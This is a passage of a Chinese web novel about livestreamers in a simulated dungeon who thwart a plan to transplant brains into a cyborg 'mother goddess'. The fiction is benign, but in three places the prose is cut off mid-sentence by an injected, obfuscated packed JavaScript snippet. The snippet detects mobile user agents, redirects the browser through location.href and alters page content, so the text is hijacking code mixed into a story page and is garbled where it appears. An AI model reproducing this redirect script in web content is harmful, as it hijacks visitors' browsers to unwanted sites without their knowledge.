系统在支线任务的阶段没有投放道具,或许是为了逼迫他们自己想办法推进主线剧情。 不过,一个新的问题诞生了—— “首先,我们需要离开这个平台。”姜月月也收到了任务通知。她很快扫完关闭了光幕,两眼发黑地看着挤在透明扶梯上的改造人大军。 岑今也在思考这个问题。以她们现在所在位置的高度,直接跳下去肯定不行;下面又有改造人大军和青山虎视眈眈,也不可能让她们慢悠悠地爬树爬下去。 只要能突围回到地面,改造人不如她们灵活,行动速度赶不上她们;青山行事风格又迂回曲折,自身武力值应该不高,她们想抢在青山一行人之前回到母神殿并不难。 “或许,老师们会荡藤条吗?”身后,路阳的声音响了起来,“我可以复制成藤条,不是树屋边上缠着树干的那种,是单独一根的那种藤条。这样老师们就能绕开正面的丧尸,从侧面荡下去。” “我可以。”岑今朝姜月月的方向偏了偏头,“月月?” “我也可以。” 岑今笑了,她果然没看错她的使徒。路阳的异能可不鸡肋,这种机动性极强的异能,说不定就能在关键时刻出奇制胜——这不就给她们提供了一条无痛下楼的快速通道。 蒋琳又被两条不受控制的腿拖着,被迫向岑今冲了过来。 这次岑今已经有了心理准备,正好她也有事想交代蒋琳,于是抢先一步用右臂劈向了蒋琳柔软的侧腰。 “真的不好意思,蒋琳姐。”蒋琳腰上一麻,歪倒在地。岑今迅速退开两步的安全距离,接着道,“一会儿我们会先去母神殿,如果有可能的话,我希望你和小明能留在树屋,帮我们找一个东西。” 蒋琳躺在地上还更自在,甚至希望岑今下手能再重一点:“没关系。要找什么?” “意识芯片,里面应该复制了青山妈妈的记忆。现在来不及细说了,总之东西要么在村医身上,要么在手术室右边的那个小房间里,拜托你们了。”某种冥冥之中的直觉告诉岑今,清姗病历里提到的“意识芯片”,会是一样重要的道具。她和姜月月之前没时间去翻箱倒柜,现在只能把希望寄托在蒋琳和陈小明身上了。 “好,我会尽力。”尽力摆脱青山的控制,尽力找到关键的意识芯片,也是尽力让自己的任务进度往前进一些。 那边路阳已经准备好了,长长一根藤条在半空中晃悠,看起来可移动范围还挺大。 “我先过去,你模仿我的动作跟上来,可以吗?”姜月月已经站在路阳身边了,但没有要上藤的意思,岑今于是主动开了口。 姜月月点了点头,她相信以自己的身体素质能够做到,但她确实没有经验,需要先观察学习。 岑今双手握住藤条版路阳,一个翻身越到了平台之外。她顺着藤条向下滑,到离地面一米多高时再次发力握紧,然后用了十成十的力道蹬在了树干上,让自己的身体尽可能地向树林中荡去。 “我最忠实的使徒,随机应变,祝你好运哦。” “使命必达!”路阳慷慨激昂的回应从她手下传来。 在达到摆动的最大角之前,松手,弓身落地,一气呵成。除了两条腿震得有点麻之外,一切顺利。 青山的笛声一转,像是发起了某种信号。 平台上又急急爬起了几个被岑今打得歪瓜裂枣的男性改造人。姜月月的黄金瞳已经褪去了,嘴里冒出的尖牙也缩了回去,她踢出脚尖的小刀给几人的下三路一人来了一脚,然后纵身一跃抓住了藤条,学着岑今的样子向外荡去。 改造人还没摸着她的一片衣角,她就已经荡到树林中了。姜月月选择在一个能看清岑今表情的距离松开手往下跳,落地时没刹住前跌了几步,正好和岑今撞上。 “很有天赋。”岑今伸手接住她,由衷地比了个大拇指。 “……走。” 两人在小树林里一路狂奔,绕回了来时蒋琳留下标记的小道,全力向母神殿奔去。 青山沉下脸,吹出两声尖锐的哨音。没了岑今和姜月月的阻拦,两个身强力壮的改造人畅通无阻地小跑进了树屋的大门。 他转身疾行,改造人大军也从扶梯上撤了下来,像刚出现时那样,排成两列缀在他身后,追着岑今二人的身影向母神殿赶去。 回去的路比来时要快得多,岑今甚至都没觉得累,母神殿就已经近在眼前了。 碑形的门洞被熟悉的浅红色物质覆盖,母神殿的门禁又落下了。 “青山会把她妈妈藏在哪里?”姜月月扫了一眼眼前冒着红光的建筑,下午在大殿里的三个小时,他们几乎把这里走了个遍,内侧的三面墙壁是他们一寸一寸临摹过的壁画,脚下是会长蘑菇的草地,都不像是有暗门能藏人的样子。 “我有一个大胆的想法,但我们现在得先把门禁解了。” 岑今站到了之前青山刷脸的电子屏跟前。 姜月月踮起脚凑过来:“这个锁你能开吗?” “只要功夫深,铁杵磨成针。”虽然不知道红色激光具体是从哪几个位置发射的,但只要把门洞四周的墙壁内部都破坏一遍,她就不信找不到激光发射装置。 岑今抬起右手,聚精会神地盯着墙壁操作。她能感觉到内部的砖石在一点一点断裂,时间一分一秒过去,她的额角开始沁出汗珠。 “72秒。”姜月月看着依旧完好的浅红色光幕,淡淡地报了个时。 话音落下的那一刻,岑今突然触到了一种与砖石不同的“空间”。 “摸到发射装置了!”她忍着突突的头痛,手腕一拧,试图直接把发射装置从中间拧断。 可是,岑今的手还没转动,身后哒哒的整齐脚步声就已经追了上来。 青山的吼声前所未有的响亮:“住手!” 他提起宽大的长裤,丁零当啷地跑上了殿门前的台阶。 岑今老老实实把手放下:“别急,我还没开始动手。” “你们来母神殿做什么?”青山压着气喘,看向二人的眼神全然不似白天的亲切热情,而是带着警惕与浓浓的戒备。 “能让我们见一见你的妈妈吗?”岑今放轻了声音,直直地望进青山的眼睛。不过,在青山看不见的地方,她顺手打开了久违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232619|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的直播。 弹幕如潮水般涌来,岑今突然觉得有些愧疚。之前夜探村医馆的气氛太紧张,她第一次做这种偷偷摸摸的潜行工作,业务还没熟练,完全顾不上直播营业。 【啊啊啊啊啊啊!!好久不见帅气迷人的修理工大大】 【我去,刚刚那一段第一视角的镜头太刺激了,跟跑酷游戏似的】 【看了一圈这一波主播,还是修理工人的视角最好看】 【青山小哥果然不是好人啊!】 【妈妈说,长得好看的男孩子最会骗人】 【早上以为凤凰村是旅游景区,现在觉得凤凰村是赛博神教基地】 【大晚上的还有这么多人和我一起看直播,大家都不睡觉的吗?】 岑今飞快扫了一眼,扫到打赏值是6137的时候,满意地把视线移了回去。 青山脸上的神色变了几变,最终凝固成一个莫测的微笑:“好啊,不过你们得先接受母神的洗礼。” 他从岑今和姜月月二人中间穿过,走到电子屏前完成了识别。 封住门洞的浅红色激光迅速褪去,与此同时,原本黑沉沉一片的大殿内部亮起了灯。暖黄色的灯光打在大殿中央瓷白的女神像上,像是为神像镀上了一圈神圣的金边。 青山又从腰间取下了笛子,一边吹一边大步向神像走去。两列改造人收到他的指令,把岑今和姜月月围了起来,层层叠叠绕了三圈,引导着她们往殿内去。 两人很默契地没有反抗,被改造人簇拥着走向大殿中央。岑今这边,任务二的进度才往前动了5%,姜月月估计也是一样。虽然不知道“母神的洗礼”究竟是什么,但听起来和任务名“母神的赐福”有点关系,不妨先静观其变、走走剧情。 双目低垂的悲悯神像遮住了青山单薄的身影,岑今和姜月月刚被“押送”到母神的脚下,就听到了一阵像是齿轮转动的咔咔声响从神像背后传来。 然后,是密密麻麻的“哒哒”声——从神像的背面,钻出了数量不亚于下午寄生虫潮的“机械风”毒虫。机械毒虫的形貌特征和活体的寄生虫极为相似,不过通体由金属构件连接组成,很显然是人造的产物。 青山从神像身后迈出一步,站在巨大的阴影里,脸上依旧挂着淡淡的笑意,说出的话却让人直泛鸡皮疙瘩:“这一轮的洗礼,有你们两个参与也不错。” 岑今条件反射地唤出了覆盖全身的空间壳,看着似曾相识的虫群直皱眉头。真是受不了了,谁家的好神是用虫子给人洗礼的。 话音刚落,个个都有拳头大的机械毒虫们发足狂奔,直冲岑今二人而来,还有长了翅膀的另辟蹊径,像追踪导弹一般从半空中精准降落。 四周层层叠叠的改造人大军呼啦一下四散开去,和即将到达的机械虫群完美衔接,没给她们留下一点儿躲闪的空间。 姜月月深吸一口气,强撑着再一次发动了异能。然而,面对机械虫群,她慑人的黄金双瞳失灵了。这些人造的东西没有灵智,不会像自然诞生的寄生毒虫一样被她的毒蛇“血脉”威压。 虫群目标明确,团簇在她暴露在外的机械双脚上,张开丑陋的口器。 16.母神的赐福(十四) 岑今的右手和左腿也被密密麻麻的机械毒虫覆盖了,不是她们不想躲闪,而是从神像背后爬出来的毒虫数量之多,甚至能把两人淹没。 或许这些小机器虫在设定上本来是他们六人份的,现在一股脑儿只能冲着她们两个来,实在是让人难以招架。 岑今集中精神,调动全身的空间壳汇聚到被虫群包裹的两处义体上。被融掉了半截的机械毒虫噼里啪啦地掉到地上,但她仍然觉得不太对劲——自己的义体好像有点不听使唤了。 她偏过头去看姜月月,她的脚尖已经冒出了小刀,两只脚不正常地抽动着。 改造人大军没有要攻击她们的意思,齐齐后退了几步,一半围成一个大圈,正好将她们圈在中央,另一半聚在一处,拱卫着母神像下的青山。 “虽然没能成功让你们两个接受进一步的改造,但以现在的状态来接受考验也勉强可行。”青山垂着手站在母神像身前,饶有兴致地观察着二人的动作,像是观赏动物园里两只猴子的争斗,“胡家明和陈小明的资质都差了点,没必要接受洗礼,那个路阳倒是可以来试一试。不过最可惜的还是让蒋琳跑了,要是你们三个都在,那就再好不过了。” 虽然自己和姜月月的处境看起来有些不妙,但青山没能控制住蒋琳,这显然是个好消息。 岑今眼前闪动着血红色的重影,太阳穴突突直跳。 旁人看不见,但她却能清晰地感受到,覆盖她周身的空间壳正在不受控地流动起伏,她的异能失去了原本稳固的秩序,身边的“空间”似乎随时都有可能脱离她的掌控。 “这不是普通的毒——”姜月月从牙关里挤出了一句,五官又狰狞扭曲起来。她摇晃着向岑今迈了两步,小小的身体弓出一个准备攻击的姿态。 “这当然不是普通的毒,这是义体病毒。”青山笑了,像是忍俊不禁,看向她们的目光里流露出几分怜悯,“对不起,傀儡蛊是骗你们的。或许过去真的存在蛊虫吧,但是在现在这个时代,蛊虫怎么会有病毒好用呢?” 果然,什么民俗风情、民风淳朴,都是假的。这群藏在雕塑背后的机械毒虫,原来是来给她们传播义体病毒的。 义体“感染”病毒之后,病毒能够上溯作用到控制义体的大脑神经,甚至是严重影响到感知功能与个体意识。 “不过,你们觉不觉得,义体病毒其实和传说中的蛊毒效果很相似?——都能够操纵宿主的身体,还有心智。”青山摊开了双手,眼神里藏着让人感到陌生的疯狂,“互相争斗吧!只有最强大的大脑,才能通过必经的洗礼,获得母神的赐福!” 如果说“必经的洗礼”是指义体病毒对大脑的攻击,那么“母神的赐福”多半就是指为清姗“供脑”了。 之前的推测没错,他们果然都是清姗的“大脑储备”。只是青山对他们这群大脑还要优中选优,再用义体病毒的攻击测试一番——能坚持到最后的大脑,才是有可能在更长一段时间内承受住92%机械改造率的大脑。 义体病毒这一剂“猛药”,不仅干扰了岑今和姜月月对义体的控制,还让与意识密切相关的异能发生了波动。两人的神智都不太清醒,被一种敌意的攻击本能操控着,随时都有可能对彼此出手。 姜月月身后的蛇影像老旧电视机画面一样,时不时掉帧。她龇着尖牙几个闪身,牙尖堪堪停在离岑今头顶几厘米的位置,低吼道:“离我远点!” 眼下的状况又让她想起了第一次觉醒异能的那个时刻,不过,也许是多亏了村医的“脱敏训练”,她此刻的情绪并没有想象中的糟糕,甚至还觉得自己这回没咬下去能算一个大进步。 至于为什么她的牙能险些碰到岑今的头顶——因为岑今正以一个双手交叉、两腿纠缠的姿势,半蹲在地上,紧紧抱住了自己。岑今觉得,这个姿势最能限制住她的四肢,不至于突然出手打人。 “我可没动啊,是你别碰我。”岑今看了一眼姜月月急刹车的毒牙,心有余悸,“幸好你刹住了,只差一点你的牙就要缺个大口子了。” 她想了想,觉得自己再藏下去实在是有点不厚道了,于是趁着这个两人贴得极近的时刻,悄悄把自己的异能向姜月月透了个底:“我的异能是空间壳,现在这层壳在我全身上下乱跳,你别靠我太近,我怕你一不小心被空间壳吞掉一块。” “……”看得出来姜月月的背脊在往后发力,试图把自己的身体扯远一点,虽然效果并不十分显著,“又不是我想靠你这么近,你努力控制一下,我也努力控制一下。” 青山看着格外和平的两人,惊讶地挑了挑眉。虽然她们两个目前的机械改造率不算高,但能在义体病毒的攻击下保持清醒这么久,也已经很难得了。 神殿门口传来脚步声,是刚刚一路小跑进树屋的两个身强力壮改造人回来了。他们左右分开一步,露出了跟在身后的村医。她两手松垮地插在白大褂的口袋里,缓缓向前,镜片后的双眼紧紧盯着包围圈中央僵持的岑今二人。 “韩老师,您来得正好。”青山微笑着向她打了个招呼,“上一任母神的赐福者也快完成使命了吧?” 韩村医的视线依旧锁定在至今仍没有开始互殴的两人身上,下意识地应了一句:“对,最迟在46小时之后,他的大脑也该报废了。” “她们两个已经在义体病毒的攻击下坚持了34分钟,还没有出现大脑崩溃的征兆,我觉得母神会很喜欢她们的。” 村医听懂了青山的意思,勾起嘴角,终于转过头去正眼瞧了他一眼:“好啊,那留一个养起来,另外一个现在开始手术。” 岑今闻言,从蜷缩的姿态中抬起了头,看见韩村医大步流星地走向了大殿中央巨大的母神像——果然,清姗的身体就保存在这里。 不知道她按下了什么机关,长长的一段“滴”声过后,母神像中间出现了一道缝隙,外壳分出了前后两半。 这么大一座神像,竟然是空心的。 前面的那一半外壳缓缓向左挪开,翻涌而出的白雾散去,神像内部的状况在大殿过分明亮的灯光下暴露无遗。 用一个有些冒犯的比喻来描述的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他几乎就要站到棺材盒里去,森森的冷气浸透全身,袖口露出的手指被冻得发红。 “都换过多少次脑了,”韩村医专心调试着机械臂,神色反倒很平淡,“这次也是一样的,你大可放心。” “那么,先得到母神‘赐福’的,是哪一位?”她的右臂弹出两把大小不一的手术刀,刀尖不疾不徐地落下,分别指向岑今二人。 青山像是突然被拽回了现实世界,他猛地转身,腰间的银饰旋出一阵清脆的叮铛声,回荡在空旷的大殿里。此时听来,莫名的渗人。 他的视线在岑今和姜月月之间游移,静默已久的改造人军团又重新动了起来,一点点缩小包围圈,向二人围拢过去。 气氛烘托到这里,岑今也不由得有些心跳加速,咚咚的响声敲打着躯体,泛起一阵紧张的涟漪——被选中的话,就要被开颅取脑了吧?在村医下刀之前,她还能拖多久? 最关键的是——蒋琳能顺利地带着意识芯片过来吗? 青山歪了歪头,与岑今四目相对,将竹笛放到了嘴边。 “别害怕,我相信母神会很喜欢你的。” 17.母神的赐福(十五) 诡异刺耳的笛声再度响起,改造人军团就像细胞分裂一样裂成两半,一小半圈住了姜月月,剩下的则是迈着整齐且高速的步子,从四面八方伸出手向岑今抓去。 姜月月身后的蛇影激烈频闪,眼瞳在金黄和深黑之间不停切换。她龇起尖牙,在满是重影的视野里胡乱选择了一个人形扑上去,不受控制双脚却打了个结,脚尖刃险些扎进自己的小腿。 身边的改造人都要比她高上一头,她几近力竭,好像是被押在井底。两把泛着寒光的斧头交叉在她的后颈,姜月月侧过脸,眯眼从改造人站位的缝隙中看过去,恍惚中看见岑今对她摇了摇头。 岑今的余光瞥到大殿屋顶有一根垂落的藤蔓,正在母神雕像的后脑处轻轻摇摆。 她从蜷缩一团的姿态中站了起来,大概是被义体病毒影响了,眼前一阵阵闪动着大小不一的白色光斑。岑今有些迟缓地抬起手臂格挡贴近身侧的改造人,冷冰冰的机械掌撞上她的金属右臂,发出“当”的一声闷响。然而,机械掌离开她的身体时依旧完好,没有被削去半个零件。 岑今虽然控制不了空间壳的流动,但她可以选择直接收回空间壳。除了直播间中拥有上帝视角的观众,旁人并没有看出什么异常。 韩村医已经站在了挪开的那一半棺材盖前,原本注视着岑今的目光落在了改造人那只完好无损的机械掌上,意味不明地挑了挑眉。 岑今又假意抵抗了几个来回,终于“体力不支”,被改造人齐心协力锁住了四肢,仰面抬着向棺材盖走去。 她要尽可能地接近那条藤蔓——她等待的底牌,终于来了。 韩村医从改造人手中接过她的身体,岑今现在看清了棺材盖内侧的景象。这一半母神像的内部构造,与清姗所在的另一半几乎是完全对称的。 她的手腕、脚腕、脖颈都被一一嵌入了棺材盖内部的半透明圆环中。咔哒几声过后,锁扣落下,她也和清姗一样,被“悬挂”在了雕像内部的半空中。 村医的双脚大概是也做了改造,安装好岑今之后,她脚下像踩了高跷一样忽地向上拔起,身体被送到了和岑今平齐的位置。 “好可惜,还没来得及改造你,就直接要取脑了。”她贴近岑今的耳侧,幽幽的嗓音在方寸间逸散,“比起来……我倒是更想改造你呢。” 她说的“比起来”,究竟是和什么相比?岑今皱起了眉头。 村医似有若无地一笑,踩着高跷转身向清姗走去,右臂的手术刀一尘不染。 青山最后深深的一眼,目光流连不舍地滑过清姗金属的脸庞,而后缓缓跪在了大殿中央。他低头阖眼,相扣的十指抵在额前,凝固成一座虔诚的雕塑。 没有人注意到,母神像脑后那一根晃动的藤蔓,末端银光一闪。 岑今收回视线,她所在的棺材盖重新动了起来,沿着地下固定的轨道,向它原本所在的母神像的位置滑去。很显然,前后两半雕像合上之后,中间再站一个村医,空间还绰绰有余。 这会儿她算是看出来了,巨大的母神雕像,内部居然是一座无菌手术舱。 村医在清姗的身前停下了步伐,透过镜片一眨不眨地盯着岑今,耐心等待着她的到来。 吱呀的轨道扬起烟尘,两半母神像之间的距离逐渐缩小。岑今余光锁定跟随着藤蔓规律晃动的微弱银光,镣铐下的左手五指悄悄挣动。 三米、二米、一米…… 清姗的身影在她的视野里逐渐放大,机械架起的胸膛几乎看不出起伏,她一动不动地闭着眼睛,就像一个耗尽了电量的机器人偶。 如果清姗能开口的话,她会说些什么呢……岑今的目光落在她的耳后,在右耳往下一厘米的位置,有一道薄薄的凹槽。 像是随着岑今五指的动作,藤蔓末端的空间在一阵“扭动”后,忽然张开了一个小小的半透明隧洞——和联邦安保员找上门的那天,小土豆头上出现的那个神秘隧洞一模一样。 两半母神像即将并轨,藤蔓摆动得愈发剧烈,像是急着要把尾巴上卷着的那个银色物体抛过来。岑今的左手绷得笔直,手背上青筋暴起,五根手指像张开的利爪一般撑开到了极限。 一个同样的半透明隧洞,逐渐在清姗耳后凝聚成形。 岑今沉浸在操纵空间流动的那种奇妙“触感”中,心中只剩下一个念头:原来当时那两个传送隧洞,还真是她弄出来的。 村医站在另一半母神像里,和清姗并肩,看着岑今一点点接近,嘴角的弧度越来越大。 岑今没有看她,屏住了呼吸,在心中默默计算着距离。终于,在她与清姗正面相对的那一瞬间,她猛地抬眼看向藤蔓的方向,藤蔓尾巴默契地一松,一块银色的芯片掉进了下方的半透明隧洞中。 再一眨眼,芯片从清姗右耳旁的半透明隧洞中飞出,准确无误地落进了她耳后的凹槽——那就是意识芯片的接口处了。伴随着“滴——”的一声冰冷的电子启动音,蓝色的光路从接口处出发,循着机械的骨骼,迅速游走到清姗全身。 岑今早已僵硬的五指瞬间软了下来,她大口喘着气,喉咙被束在狭窄的圆环下剧烈起伏。 莹莹的蓝光映上村医的脸颊,她的笑容还没来得及冷却,下意识转过头去,却发现清姗的眼皮正在微微振动。 就在两半母神像即将完全重合,合棺的那一刻,一道语调有些怪异的女声传了出来,撕开了大殿中黑沉沉的静默。 “阿青……”像是沉默多年的人学着发出第一声呼唤,嘶哑的、痛苦的,又是本能的、不需要任何思考的。 青山霍然起身,飞扬的尘土纷纷落下,合上的母神像咽下了未尽的余音。 他跌跌撞撞地奔向母神像背后,颤抖的手掌对准识别装置,重新启动了母神像的“开棺”程序。 载着岑今的那半棺材盖又缓缓向左移开,她叹了口气——事已至此,就没有人能先把她放下来吗?被绑着平移进来又平移出去的,好像在游乐园坐宝宝巴士。 姜月月看了一眼母神像头顶那根安安静静挂着装死的藤蔓,又看了一眼“复活”的清姗,终于松下一口气,卸了七分抵抗的力气。 这个路阳,倒是次次都能出奇制胜,之前是她小看他了。 【主线任务二:母神的赐福】 【完成进度:72%】 岑今和姜月月二人,一个在空中,一个在地上,默契地点开任务面板。72%——73%——74%……似乎是随着青山的动作,人物完成进度的数值正一个个往上蹦。 “妈妈……?”他抬眼,眉头微微皱起,眼眶红了一片。 “阿青……我这是,在哪里?”清姗艰难地动了动手指,她分明能听见阿青的声音,但她却没法让眼珠听话地往下转,没法看到阿青的样子。 清姗像一台即将崩坏的机器人,四肢、五官各动各的,外人看来她拥有一具完整的身体,可她自己却感受不到。 青山几度张口,脸上的神色晦暗不明,像是在挑拣应该说出口的词句。 村医从最开始的惊讶中恢复了过来,她依旧保持着踩高跷的姿态,眼神居高临下地扫过青山混乱的脸:“她的意识恢复了,大脑只会崩溃得更快。” 夜长梦多,她得催着青山赶紧下定决心推进换脑手术,要是错过了岑今和姜月月的大脑,她可是会很失望的。 青山深吸了一口气,几乎是讨好地向母亲开口:“妈妈,我们要给你做换脑手术了,等做完手术一切都会好的,你就又能看见我了——” 他停顿了几秒,还是小心翼翼地补上了最后一句:“妈妈,你也想活下去,想长久地陪着阿青,对不对?” 清姗的脑子转得不快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246100|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的记忆在她病重的那段时间戛然而止,什么换脑不换脑的,完全听不明白。 但她听懂了阿青最后的问题——她想要活下去吗?她想要继续陪着阿青吗? 她现在被固定在一个奇怪的地方,而且看样子已经在这里很久了。她无法控制自己的肌肉与骨骼,嗓音也变得很陌生,似乎必须依赖阿青口中的“换脑手术”,才能勉强让她继续活下去。 那她想要活下去吗? 清姗看不见,但在这一刻,大殿里所有人的目光都聚焦在她冰冷又僵硬的脸上。 “不对。”她吐字仍然很缓慢,语气却是青山从未听到过的坚定,“我想,自由地,死去。” 岑今分神瞟了一眼任务面板,发现任务进度猛地一跳,从78%涨到了88%。她没赌错,副本最后的关键就在清姗身上。 清姗低垂着眼,有限的视野被模糊、闪烁的重影塞满。感官一片混沌,遥远的记忆纷至沓来。 她在山野间长大,从小就喜欢研究昆虫。虽然依村里的规矩早早结了婚,但她一直在悄悄攒钱,希望有机会能去大城市里读书。可是,在她二十二岁那年,村里爆发了一场疫病。周围邻里纷纷发起高烧,面上长出可怖的疮斑,不知为何只有她和她的丈夫安然无事。 “我看啊,这怪病就是那个女人搞出来的!” “我好几次看到她抓了奇怪的虫子到家里去,好恶心。” “啊哟,她不会在炼蛊吧?我听奶奶讲过什么蛊婆的故事,炼蛊的人就跟她一样,瘦骨嶙峋又百毒不侵的。” “看着瘦瘦弱弱的,没想到心肠这么歹毒!不会是想害死邻居,好霸占他们的田地吧?” “这女人日日与毒物厮混,不是养蛊是什么?!” …… 疫病蔓延,流言四起,村子里的状况越来越糟。村长想破了脑袋,想出来一个办法——坐实清姗“蛊女”的身份,为村民们打造一个可以同仇敌忾的共同敌人。 他把清姗养着蜈蚣的陶瓮丢进火坑,扯起破锣嗓高呼:“昨夜山神托梦,要解疫病,需取蛊女心头血祭天!” 字字句句,言犹在耳。 青山的声音打断了她的回忆,他颤抖着又问了一遍:“妈妈,你不想陪着阿青吗?” 清姗回过神来,努力转动着眼珠,似乎是想要找到多年未见的儿子的身影:“阿青,已经,长大了。” 她的丈夫是个很善良的人,在村长拿着火把,领着村民围猎她的那一晚,掩护她一路逃进深山,自己硬生生挨下了村民们愤怒的铁棍,倒在她的身后。她不知道他后来怎么样了,自那天起,他们再也没见过。 清姗迷了路,偶然闯入大山之间人烟稀少的一处溪谷,也就是现在的凤凰村。在那里,她发现自己竟已有了身孕。 她于是像原始人一样谋生,放弃了所有的体面,只为了让自己和孩子都能活下去。她独自一人生下了阿青,在溪边种了一小片农田,偶尔去林间打猎几只有几两肉的小动物,还有空闲的话就教教阿青说话、识字。 她很辛苦,也很勤劳。她努力做好了一个母亲应该做的,只是在这样日复一日的忙碌生活中,渐渐忘记了年轻时那个想要去大城市读书的梦想。 也许是因为操劳过度,再加上长期的营养不良,她的身体在三十岁时就成了一台即将报废的机器。她原以为她会害怕死亡,会舍不得还不到十岁的阿青,可当暗红的血块被咳进手心的那一刻,她竟然感到解脱。 现在,虽然还没搞明白眼下这一切,但她似乎是获得了第二次死亡的机会,她终于决定说出那个念头:“妈妈想,最后,自私一次。” 她付出了那么多,只是最后自私一次,应该没关系的吧?即使是“妈妈”,也是可以自私的吧? “以后的,路,阿青自己走,好不好?” 18.母神的赐福(十六) 青山瞪大了眼睛,泪水断了线似的从眼眶里滑落。 “不好,她的各项机能数据都在迅速降低!”村医掏出白大褂口袋里疯狂报警的监测仪,径直向已经失了半条魂的青山走去,“必须现在解除芯片接入,立即开始换脑手术,不然她只剩下死路一条!” 主线任务二的进度停在了95%,距离通关就差最后一步。 忽然,大殿左侧传来“咚”的一声闷响——是岑今砸在了地上,虽然姿势不是很优雅,但她总算是重获自由了,不枉她勤勤恳恳用异能割了快半小时束缚住她的圆环。 听之前青山和他妈妈的对话,这似乎是清姗被改造后第一次接入意识芯片,也就是说,这是在她本应“死亡”之后,第一次重新拥有自我意识。 而清姗的第一反应,竟然是求死。 母神不是真的神,成为现在这个似乎可以永生的机械母神,也不是清姗的心愿,而是她儿子青山的一厢情愿。 岑今也站到了青山的身前,她的话语很轻,份量却沉重:“你想让你的妈妈活下去,究竟是为了她,还是为了你自己?” 他明知道妈妈活着并不快乐,但仍然想让她活下去,因为他实在是太害怕孤单了。 青山苍白的嘴唇颤抖着,在这漆黑的永夜里踽踽独行的十年,还真像是一场大梦。 而岑今的话就像一束光,照亮了他所有的自私与卑劣。 悠长而冰冷的电子音划破大殿里的沉默,所有人都转头向母神像看去。清姗身体上流动的蓝色光路迅速消退,从心脏开始,一寸寸退至四肢的最末端,只留下金属死寂的铁灰色。 最后,她的眼皮“咔”的一声坠落,面庞定格在一个与母神像相同的姿态——双目低垂,沉静安详,又冰冷到全无生气。 光幕又一次展开,这次还带上了烟花特效: 【主线任务二:母神的赐福】 【完成进度:100%】 「恭喜你完成了凤凰村民俗体验夏令营的全部任务!民俗与骗局,母神与蛊女,都只在一念之间。母神最后的赐福,是让你不必成为母神的赐福者。亲爱的主播,我们下个副本再见噢!」 岑今用手挥开马尾,笑着对直播间的观众们行了一个优雅的绅士礼。在主线任务完成的那一刻,打赏值的数字固定在了22088,弹幕却依然在热情地飞驰: 【完结撒花!!!!】 【妈呀,我大概看懂了,这故事真是一波三折】 【最后没打起来,不够爽】 【铁子们,下场异能挑战赛见,太好看了】 【就这就这就这?】 【希望主播下次能一边直播一边解说,局势变化过快,看得有点懵】 【笑死,都命悬一线了还给你解说呢】 【都在这个平台直播了,命悬一线的人还少吗?别太溺爱】 【守护全世界最好的铁血修理工人!】 …… 关掉界面之后,一个红色的退出键弹了出来,还附带一行小小的介绍:“已有主播通关副本主线,点击此按钮可退出副本,并按照自身当前进度进行奖励结算。” 原来这个模拟舱副本系统走的是“一人得道鸡犬飞升”的路线,只要同一场的主播有人通关,剩下的人就都可以选择退出副本,回到安全的现实世界。 岑今略一琢磨,觉得英菲尼迪这么设计,大概是考虑到观众留存和直播收益。毕竟副本一旦被打通,很大一部分观众就会失去兴趣,这时候效益更高的做法无疑是迅速开启下一场副本直播,而不是逼着剩下的主播死磕通关。 而对主播来说,应对这样的机制,组建一支知根知底的固定队,会比随机组队进入副本要稳妥得多。 之前躺进模拟舱的时候没来得及细看,这次出去,她得研究研究模拟舱有没有什么联网组队模式。 不过,在退出副本之前,她还有一件事没有做完。 【支线任务:村医的秘密】 【完成进度:90%】 自她们从村医的树屋突围离开起,这支线任务的进度就停在90%,没有变化了。岑今之前还在冥思苦想那最后的10%究竟是什么,直到刚刚最后关头看到村医的表现,她的心中忽然有了一个猜想。 村医脚下的“高跷”已经收了回去,她变回了身高一米七的正常女性的模样,此刻正抱着双臂,仰头凝望着清姗给这个世界留下的那具毫无生气的机械身躯。 能解除意识芯片接入的是她,能给清姗做换脑手术的还是她,为什么最后关头她没有直接出手,而是走向了青山,似乎是要征求他的意见呢? 总不能是她对青山这样一个半大小孩格外敬重吧。 岑今在她身侧停下了脚步:“其实你早就知道清姗的想法,对吗?” “她的意识导出都是我做的,我怎么会不知道呢。”村医没有看她,只是淡淡地开口,话语中听不出情绪。 “你本来可以直接把芯片取出来,强行给清姗换脑的——虽然真要对我下手的话你也不一定打得过我。”岑今转了转眼珠,继续道:“但你犹豫了,所以你把选择权交给了青山。” 她瞥了一眼任务面板,进度涨到了95%。 “哼,”村医转过头,勾起了嘴角,“那你不如再猜猜,这么多年了,清姗的改造实验为什么从来没能彻底成功过?” 彻底成功,就意味着清姗可以稳定地接入意识芯片,以机械人的形态“复活”,甚至是长长久久地活下去。但清姗并不渴求生,青山执拗地不想让她死,村医又痴迷于机械改造一事本身…… ——只有清姗长期的沉眠,才能堪堪维系住三个人的愿望。只是在这场闹剧中,沉睡的清姗并没有选择的权力。 “真是可惜,我自私了那么多年,怎么今天就突然良心发现了呢?”韩村医摇摇头,大步走出了神殿,白大褂的衣角在半空中打了个卷,她再没有回头看一眼。 【支线任务:村医的秘密】 【完成进度:100%】 